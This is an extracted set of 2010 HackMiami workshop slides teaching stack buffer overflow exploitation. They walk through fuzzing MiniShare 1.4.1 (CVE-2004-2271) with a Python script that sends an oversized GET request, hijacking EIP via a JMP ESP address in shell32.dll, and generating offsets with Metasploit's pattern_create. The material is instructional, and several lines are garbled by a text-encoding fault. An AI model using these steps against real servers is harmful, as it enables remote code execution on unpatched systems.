
HackMiami: September 4th, 2010



Án00bz.net <~~ number 0, not 

letter o

Á@n00bznet on twitter

Ájason@n00bz.net



ÁToo much data in a space not designed for it

ÁPutting 10lbs of stuff in a 5lb bag

ÁStack Based (Focus on today)
ÁHeap Based (That is another show)



ÁElias Levy founded Bugtraq mailing list

ÁFull-Disclosure created as a protest to him selling 
out!

Á7ÒÏÔÅ Ȱ3ÍÁÓÈÉÎÇ ÔÈÅ 3ÔÁÃË ÆÏÒ &ÕÎ ÁÎÄ 
0ÒÏÆÉÔȱ
ÁPublished in Phrack Magazine 49 (1996)
ÁThe first high-quality public step by step 

introduction to the stack buffer overflow



ÁTo understand this we need to understand 
ÈÏ× Á ÃÏÍÐÕÔÅÒ ÒÅÁÌÌÙ ×ÏÒËÓȣ
ÁIntel x86 CPU
ÁHow are processes organized in memory

ÁText-Code/Instructions and read-only data

ÁData- Static Variables

ÁStack <~~  We are going to rough you up!!!!





ÁLike Legos (LIFO or FILO)
ÁPUSH and POP

ÁPUSH adds to the stack

ÁPOP removes the last block on the stack

ÁWhy do we use it?

ÁHolds the functions and function variables

ÁUser Input

ÁData needed by the app



ÁStack Pointer (SP) ɀTop of the Stack
ÁFrame/Base Pointer (BP) - Bottom of the 

Stack and Fixed Memory Location 

ÁUsed to say variable is this memory address 
related from BP

ÁReturn address- Location of the code that 
called the function so that control can be 
returned



ÁEIP - Address of next instruction

ÁESP - Address for the top of the stack

ÁEBP - Stack Base Address

ÁEAX/ECX/EDX - Holds variables and data
for the application



ÁEIP = Instruction Pointer
ÁESP = Stack Pointer
ÁEAX = Accumulator
ÁEBX = Base Index
ÁECX = Counter
ÁEDX = Data
ÁESI = Source Index
ÁEDI = Destination Index









ÁSource Code Review

ÁLook for The Usual Suspects (Next Slide)

ÁGood for Open Source

ÁReverse Engineering

ÁGood for Closed Source

ÁFuzzing







ÁSend info into the application and wait for the 
application to crash.

ÁȰ!ȱ ÍÅÔÈÏÄ

ǐ3ÅÎÄ Á ÂÕÎÃÈ ÏÆ Ȱ!ȱ ÃÈÁÒ ÔÈÒÏÕÇÈ ÔÈÅ ÉÎÐÕÔÓȢ

ǐLook for EIP=A=0x41414141 = AAAA

ÁOr we can use MSF Pattern Create

ǐ"ÕÔ ÌÅÔÓ ÄÏ ! ÂÅÆÏÒÅ -3& ÓÏ ÙÏÕ ÌÅÁÒÎȣ  



ÁMiniShare 1.4.1

ÁCVE-2004-2271

Buffer overflow in MiniShare 1.4.1 and earlier 
allows remote attackers to execute arbitrary code 
via a long HTTP GET request

ÁDownload it at: 
http://ftp.heanet.ie/disk1/sourceforge/m/project/
mi/minishare/OldFiles/minishare-1.4.1.exe



ÁAttacker System: 192.168.20.11

ÁBackTrack 4

ÁVictim System: 192.168.10.27

ÁWindows XP SP2 <~~~ This is important

ÁMiniShare 1.4.1

ÁOllyDbg 1.10



ÁExploit DB: http://www.exploit-
db.com/exploits/636
ÁSend a large GET request to the application
ÁStandard GET request is:

ÁGET / HTTP/1.1

ÁThe bad request is:

ÁGET [long string of A characters] 
HTTP/1.1[new_line, carriage_return x 2]

http://www.exploit-db.com/exploits/636
http://www.exploit-db.com/exploits/636
http://www.exploit-db.com/exploits/636


#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, 
socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()



ÁWe need to see what is going on the server.

ÁWe use a debugger for this.  







ÁEIP- What will the CPU do next?
ÁESP- Current Entry on the Stack



ÁWhat is in the Stack?

Á41= A



ÁEIP=41414141
ÁESP=41414141

7Ï×ȣ Á ÂÕÎÃÈ ÏÆ !ȭÓȢ  4ÈÁÎËÓ ÆÏÒ ÔÈÅ ÄÅÍÏ ΪΧ ÈÏÌÅȦ

So What!!!!



ÁIf we could put some of our code in the stack 
which is located at the location stored in ESP

ÁShell code

ÁMeterpreter 

ÁAny thing you want

ÁIf we could tell the CPU to execute that code

ÁEIP = Next set of instructions to execute

ÁEIP point to JMP ESP

ÁESP points to our Shell code/ Meterpreter/ Any 
thing you want



ÁJMP ESP will jump to the memory address 
located in ESP and execute the code located 
in that memory address

ÁRegisters work with memory addresses.

ÁRegisters are pointers

ÁRegisters are not machine code







ÁAvoid address with zero byte (\x00)

ÁString Terminator in C and it breaks exploits

ÁAvoid Line Feed (\x0a)

ÁIt breaks exploits

ÁAvoid Carriage Return (\x0d)

ÁDo you sense a common theme?

ÁWindows .DLL are good

Áshell32.dll or user32.dll usually work well





ÁTry JMP ESP



ÁWe can use 0x7CA58265 of shell32.dll

ÁNo bad characters (\x00\x0a\x0d)



ÁWe need the exact location in the buffer that 
overwrites EIP so we can put in 0x7CA58265

Á9ÏÕ ÄÉÄÎȭÔ ÆÏÒÇÅÔ ÔÈÁÔ ΦØέ#!ΫήΨάΫ ÐÏÉÎÔÓ ÔÏ *-0 
ESP did you?  Just Checking

ÁMetasploit has an app for that

ÁSay Thank you to the Metasploit Team!

Ápattern_create.rb



ÁIn BackTrack it is located here:

Á/pentest/exploits/framework3/tools/

Á./pattern_create.rb <length of pattern>

Á./pattern_create.rb 2220

ÁGenerates some output (Long)

ÁAa0Aa1Aa2Aa3....Cv4Cv5Cv6Cv7Cv8Cv9


